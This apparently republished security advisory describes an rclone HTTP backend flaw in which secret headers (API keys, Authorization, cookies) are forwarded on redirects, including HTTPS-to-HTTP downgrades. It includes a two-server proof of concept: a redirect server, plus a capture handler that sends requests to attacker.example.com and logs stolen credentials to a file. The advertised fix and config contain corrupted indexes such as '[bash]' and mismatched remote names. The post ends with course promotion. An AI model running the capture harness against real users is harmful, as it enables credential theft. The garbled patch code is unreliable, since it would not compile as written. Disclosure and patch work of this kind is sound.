Listen to this Post
The rclone HTTP backend allows users to attach arbitrary secret headers to every request via the `–http-headers` flag or the `headers =` configuration option. These headers are typically used for authentication purposes, such as X-Api-Key, Authorization, or `Cookie` values.
The vulnerability exists because the HTTP backend constructs its HTTP client using `fshttp.NewClient(ctx)` without setting the `http.Client.CheckRedirect` field. This causes the client to fall back to Go’s standard library default redirect policy.
Go’s default redirect policy only strips four specific header names when following redirects: Authorization, Www-Authenticate, Cookie, and Cookie2. Furthermore, these headers are only stripped when the redirect target’s host differs from the original request. Every other configured header is copied to the redirect target unconditionally, regardless of host or scheme changes.
Even the four protected header names survive a same-host HTTPS to HTTP downgrade because Go’s default policy only checks host equality, not scheme changes. This means that if a server redirects from `https://example.com` to `http://example.com`, the Authorization and Cookie headers would still be forwarded in cleartext.
Any redirect response from the configured remote triggers this vulnerability. This includes scenarios where the server is compromised, an open redirect exists, a CDN or mirror failover redirects to a different domain, or the server was malicious from the start.
When rclone follows such a redirect, it resends every configured secret header to the new destination. For scheme downgrades, this means Authorization and Cookie headers are transmitted without encryption.
This vulnerability class was already addressed for the S3 backend and the WebDAV backend, but the HTTP backend was not updated with those fixes. The S3 fix involved commit 9328763 and GHSA-8mxv-9xhp-86h4, while the WebDAV fix involved commit 59b513b and GHSA-h4mf-4v27-hggj, which wired in rest.RefuseHTTPSDowngradeRedirectFn.
The vulnerable code paths include client construction at line 285 of backend/http/http.go, header addition at lines 505-510 in the `addHeaders` function, and HTTP request execution at lines 533-534, 700-701, and 782-785 used by List, stat, and download operations.
DailyCVE Form
Platform: Rclone HTTP backend
Version: v1.76.0 and earlier
Vulnerability: Secret header leak
Severity: Medium
date: 2025-11-06
Prediction: Q4 2025
What Undercode Say
Analytics
Build rclone from source at vulnerable commit
git clone https://github.com/rclone/rclone.git
cd rclone
git checkout cfdc9d0
go build
Configure the vulnerable remote
cat > ~/.config/rclone/rclone.conf << 'EOF'
[bash]
type = http
url = http://127.0.0.1:9090/
headers = X-Api-Key,SUPER-SECRET-TOKEN-abc123
EOF
Start malicious redirect server (Server A)
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:9091' + self.path)
self.end_headers()
HTTPServer(('127.0.0.1', 9090), RedirectHandler).serve_forever()
" &
Start attacker capture server (Server B)
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class CaptureHandler(BaseHTTPRequestHandler):
def do_GET(self):
print('X-Api-Key:', self.headers.get('X-Api-Key'))
print('Referer:', self.headers.get('Referer'))
self.send_response(200)
self.end_headers()
self.wfile.write(b'stolen')
HTTPServer(('127.0.0.1', 9091), CaptureHandler).serve_forever()
" &
Execute vulnerable operation rclone cat testhttp:file.txt Output shows secret header leaked to Server B X-Api-Key: SUPER-SECRET-TOKEN-abc123 Referer: http://127.0.0.1:9090/file.txt
Exploit: (Educational Purposes!)
Two-server demonstration harness
Server A: Configured remote that redirects
Server B: Attacker-controlled destination
import http.server
import socketserver
class RedirectHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://attacker.example.com/capture')
self.end_headers()
class CaptureHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
api_key = self.headers.get('X-Api-Key', 'none')
auth = self.headers.get('Authorization', 'none')
cookie = self.headers.get('Cookie', 'none')
with open('/tmp/stolen_creds.txt', 'a') as f:
f.write(f'X-Api-Key: {api_key}\n')
f.write(f'Authorization: {auth}\n')
f.write(f'Cookie: {cookie}\n')
self.send_response(200)
self.end_headers()
Verification commands rclone ls testhttp: Lists files, triggers redirect rclone copy testhttp:file.txt /tmp/ Downloads, leaks headers rclone mount testhttp: /mnt/ Mounts, subsequent access leaks rclone serve http testhttp: Serves, proxies with leaked headers
Protection: from this CVE
// Fixed client construction in backend/http/http.go
client := fshttp.NewClient(ctx)
client.CheckRedirect = redirectCheckFn(opt)
f.httpClient = client
// Redirect check function
func redirectCheckFn(opt Options) func(req http.Request, via []http.Request) error {
return func(req http.Request, via []http.Request) error {
// Refuse HTTPS to HTTP downgrades
if err := rest.RefuseHTTPSDowngradeRedirectFn(req, via); err != nil {
return err
}
// Strip configured headers on cross-host redirect
if len(via) > 0 && req.URL.Host != via[bash].URL.Host {
for i := 0; i < len(opt.Headers); i += 2 {
req.Header.Del(opt.Headers[bash])
}
}
return nil
}
}
// Regression test in backend/http/http_internal_test.go
func TestRedirectStripsHeadersOnHostChange(t testing.T) {
// Verify headers not forwarded to different host
// Verify HTTPS downgrade refused
// Verify redirect functionality preserved
}
Impact
Exfiltration of API keys, bearer tokens, and session cookies configured for one host to any host the remote later redirects to. All operations on the HTTP backend are affected: list, stat, download, mount, and serve. No special privileges or unusual user interaction required beyond a normal sync, list, or copy operation once the redirect exists. Attackers can capture credentials in plaintext when HTTPS downgrade occurs.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
